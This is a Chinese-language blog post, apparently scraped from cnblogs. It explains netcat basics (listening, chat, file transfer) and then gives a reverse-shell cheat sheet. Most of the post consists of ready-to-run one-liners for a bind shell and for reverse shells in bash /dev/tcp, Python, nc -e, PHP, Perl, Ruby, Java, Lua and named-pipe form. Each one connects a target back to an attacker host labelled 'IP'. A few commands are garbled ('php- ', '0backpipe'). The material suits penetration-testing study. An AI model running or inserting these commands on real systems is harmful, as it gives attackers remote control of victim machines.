zoukankan      html  css  js  c++  java
  • nc弹shell

    1、nc的概念

    1.什么是nc

    nc是netcat的简写,有着网络界的瑞士军刀美誉。因为它短小精悍、功能实用,被设计为一个简单、可靠的网络工具

    2.nc的作用

    (1)实现任意TCP/UDP端口的侦听,nc可以作为server以TCP或UDP方式侦听指定端口

    (2)端口的扫描,nc可以作为client发起TCP或UDP连接
    (3)机器之间传输文件
    (4)机器之间网络测速

    2、nc命令参数说明

    1) -l
    用于指定nc将处于侦听模式。指定该参数,则意味着nc被当作server,侦听并接受连接,而非向其它地址发起连接。
    2) -p <port>
    指定端口,暂未用到(老版本的nc可能需要在端口号前加-p参数,下面测试环境是centos6.6,nc版本是nc-1.84,未用到-p参数)
    3) -s 
    指定发送数据的源IP地址,适用于多网卡机 
    4) -u
     指定nc使用UDP协议,默认为TCP
    5) -v
    输出交互或出错信息,新手调试时尤为有用
    6)-w
    超时秒数,后面跟数字 
    7)-z
    表示zero,表示扫描时不发送任何数据

     3、nc建立CS端

    1.nc实现消息共享

    服务端启动监听

    nc -l 4444
    

     客户端进行连接

    nc IP 4444
    

           

     客户端与服务端实现消息共享,即客户端的输入服务端可见,服务端的输入客户端可见。

    2. NC实现文件传输

    和局域网聊天是原理一样的,不过把输入输出重定向到文件

    服务端设置监听

    nc -l 9999 > recv.txt
    

     客户端发送:

    nc IP 9999 < send.txt
    

     注:服务端和客户端都可做为接收端和发送端,发送端必须要有文件,接收端可以不创建文件,当接受端不创建文件时,会自动创建并将发送端地内容保存到文件,如果已存在文件将会覆盖其中内容

    4. 正向反弹shell

    在服务端(靶标机)启动监听

    nc -lvvp 4444 -e /bin/bash

    在客户端(攻击机)连接

    nc IP 4444

    这种连接又称正向连接,攻击机主动连接靶标机。

            

     连接成功后便可执行命令。

    5、反向反弹shell

    1.bash版本

    本地作为服务端开启监听(攻击机)

    nc -lvnp 4444
    或nc -vvlp 4444

    目标机开启反弹

    bash -i >& /dev/tcp/IP/4444 0>&1
    bash -i            创建一个交互式的bash shell
    &>                 将标准输出和标准错误都重定向到我们指定的文件
    /dev/tcp/IP/4444   建立连接到IP的4444端口
    0>&1               将文件描述符0重定向为文件描述符1,也就是标准输入被重定向为标准输出

     2.python 反弹

    本地作为服务器开启监听

    nc -lvvp 444

    靶标作为客户端开启反弹

    python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('IP',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

     3.nc反弹

    本地作为服务器开启监听

    nc -lvvp 4444

     

    靶标机作为客户端反弹shell

    nc -e /bin/bash IP 4444

     

     4. php反弹

    本地作为服务器开启监听

    nc -lvnp 4444

    靶标机作为客户端反弹shell

    php- 'exec("/bin/bash -i >& /dev/tcp/ip/4444")'
    或
    php -r '$sock=fsockopen("IP",4444);exec("/bin/bash -i 0>&3 1>&3 2>&3");'

     5、perl反弹

    本地作为服务器开启监听

    nc -lvvp 4444

     靶标机作为客户端反弹shell

    perl -e 'use Socket;$i="IP";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

     6、ruby反弹

    本地作为服务器开启监听端口

    nc -lvvp 4444

    靶标作为客户端反弹shell

    ruby -rsocket -e'f=TCPSocket.open("IP",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

    7.Java反弹

    本地作为服务器开启监听端口

    nc -lvvp 4444

    靶标作为客户端反弹shell

    r = Runtime.getRuntime()
    p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/IP/4444;cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[])
    p.waitFor()

    8.lua版本

    本地作为服务器开启监听端口

    nc -lvvp 4444

    靶标作为客户端反弹shell

    lua -e "require('socket');require('os');t=socket.tcp();t:connect('IP','4444');os.execute('/bin/sh -i <&3 >&3 2>&3');"

    9.nc不使用-e参数反弹

    本地作为服务器开启监听端口

    nc -lvvp 4444

    靶标作为客户端反弹shell

    mknod /tmp/backpipe p
    /bin/sh 0</tmp/backpipe | nc IP 4444 1>/tmp/backpipe
    /bin/bash -i > /dev/tcp/IP/4444 0<&1 2>&1
    mknod backpipe p && telnet IP 4444 0backpipe
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
  • 相关阅读:
    Mybatis学习笔记14
    Mybatis学习笔记13
    Mybatis学习笔记12
    poj 2513
    poj 2001
    poj 1080
    poj 1703
    poj 1521
    poj 1384
    poj 1726
  • 原文地址:https://www.cnblogs.com/Shepherd-boy/p/14798523.html
Copyright © 2011-2022 走看看